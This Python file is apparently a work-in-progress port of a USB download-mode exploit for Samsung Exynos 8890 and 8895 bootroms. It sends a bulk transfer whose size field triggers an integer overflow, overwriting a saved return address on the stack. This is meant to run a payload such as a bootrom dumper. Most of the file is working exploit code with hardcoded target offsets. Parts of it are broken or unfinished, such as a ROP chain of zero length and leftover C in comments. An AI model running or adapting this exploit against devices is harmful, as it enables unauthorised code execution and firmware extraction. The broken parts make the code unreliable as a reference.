import usb.core
import usb.util
import struct, sys, usb1, libusb1, ctypes
# from ghidra_assistant.utils.utils import *

def p32(x):
    return struct.pack("<I", x)

def p8(x):
    return struct.pack("<B", x)

def p16(x):
    return struct.pack("<H", x)

def p64(x):
    return struct.pack("<Q", x)

BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)

DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End

BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb

TARGET_OFFSETS = {
    # XFER_BUFFER,	RA_PTR, XFER_END_SIZE
    "8890": (0x02021800, 0x02020F08, 0x02070000),
    "8895": (0x02021800, 0x02020F18, 0x02070000)
}

ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2

class ExynosDevice():

    def __init__(self, idVendor=0x04e8, idProduct=0x1234):
        """Init with vendor/product IDs"""
        self.idVendor = idVendor
        self.idProduct = idProduct
        self.target = "8890"  # TODO auto detect device
        self.connect_device()

    def connect_device(self):
        self.context = usb1.USBContext()
        while True:
            self.handle = self.context.openByVendorIDAndProductID(
                vendor_id=self.idVendor,
                product_id=self.idProduct,
                skip_on_error=True
            )
            if self.handle == None:
                continue
            break

        print("Connected device!")

    def write(self, data, size=-1):
        transfered = 0
        transferred = ctypes.c_int()
        if size == -1:
            size = len(data)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
        assert(res == 0)
        return transfered

    def send_empty_transfer(self):
        transfered = 0x200
        transferred = ctypes.c_int()
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
        assert(res == 0)
        return transfered

    def test_bug(self):
        # Start by sending a valid packet
        # Integer overflow in the size field
        # unk + size + payload + header
        payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)

        assert (len(payload) == BLOCK_SIZE)
        self.write(payload, MAX_PAYLOAD_SIZE) 

        for i in range(200):            
            print(hex(self.send_empty_transfer()))
        
        print('Bug probably available')
        sys.exit(0)

    def exploit(self, payload: bytes):
        current_offset = TARGET_OFFSETS[self.target][0]
        transfered = 0
        transferred = ctypes.c_int()
        
        max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 
        payload = payload + ((max_payload_size - len(payload)) * b"\x00")
        assert len(payload) == max_payload_size, "Invalid payload"
        
        # First send payload to trigger the bug
        bug_payload = p32(0) + p32(0xfdfde800) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0) # dummy packet for triggering the bug
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
        assert res == 0, "Error triggering payload"
        current_offset += len(bug_payload)
        
        # Send the actual payload
        transfered = 0
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
        assert res == 0, "Error sending payload"
        
        current_offset += len(payload)
        while True:
            if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][2]:
                break
            self.send_empty_transfer()
        
        rop_chain = p64(TARGET_OFFSETS[self.target][0]) * (8 // CHUNK_SIZE)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
        
        
        transfered = 0
        buf = ctypes.c_buffer(b"", 0x20000)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 10000)
        
        
        padding_size = TARGET_OFFSETS[self.target][1] - TARGET_OFFSETS[self.target][0]
        padding_size -= len(payload)
        
        
        # Construct payload, we can only overflow with 1 transfer.
        dl_buf_current = DL_BUFFER_START

        if len(payload) > MAX_PAYLOAD_SIZE:
            print("payload too big!")
            return

        payload = payload + ((MAX_PAYLOAD_SIZE - len(payload)) * b"\xcc")
        payload = struct.pack("<II", 0, MAX_PAYLOAD_SIZE) + \
            payload + struct.pack("H", 0)

        assert (len(payload) == BLOCK_SIZE)


        # while True:
        #     print(".", end="")
        #     self.write(b"")


        padding_size = TARGET_OFFSETS[self.target][1] - \
            TARGET_OFFSETS[self.target][0]

        padding_size -= MAX_PAYLOAD_SIZE
        padding_size += 8

        chunk_cnt = padding_size // CHUNK_SIZE
        padding_size = padding_size % CHUNK_SIZE
        block_cnt = padding_size // BLOCK_SIZE
        padding_size = padding_size % BLOCK_SIZE

        if (padding_size == 0 and block_cnt > 0):
            block_cnt -= 1
            padding_size = BLOCK_SIZE
        

        ram_size = padding_size + 4 + 2

        # # Reconstruct stack
        ram = b"\xcc" * ram_size
        ram = ram[:padding_size] + p32(TARGET_OFFSETS[self.target][0]) + ram[padding_size + 4:]
        
        # *(uint32_t*)&ram[padding_size] = targets[target_id][XFER_BUFFER];//overwriting return address in stack :]
        payload_size = len(payload) + (CHUNK_SIZE * chunk_cnt) + (BLOCK_SIZE * block_cnt) + ram_size
        pass
        # payload->size = original_payload_size + (CHUNK_SIZE * chunk_cnt) + (BLOCK_SIZE * block_cnt) + ram_size;
        # dprint("malicious payload->size=0x%x\n", payload->size);

        # uint32_t min_size_to_overflw = (uint32_t)0 - targets[target_id][XFER_BUFFER];
        # dprint("min_size_to_overflw = 0x%x\n", min_size_to_overflw);
        # if(min_size_to_overflw > payload->size)
        #     printf("ERROR : min_size_to_overflw > payload->size\n");

        # // step 3 : usb communication
        # printf("- exploit: sending payload...\n");
        # rc = libusb_bulk_transfer(handle, LIBUSB_ENDPOINT_OUT | 2, (uint8_t*)payload, original_payload_size, &transferred, 0);
        # if(rc) {
        #     printf("libusb_bulk_transfer LIBUSB_ENDPOINT_OUT: error %d\n", rc);
        #     fprintf(stderr, "Error libusb_bulk_transfer: %s\n", libusb_error_name(rc));
        #     return rc;
        # }


if __name__ == "__main__":
    # wait_for_device()
    exynos = ExynosDevice()
    path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin"
    # path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin"
    exynos.exploit(open(path, "rb").read())
    pass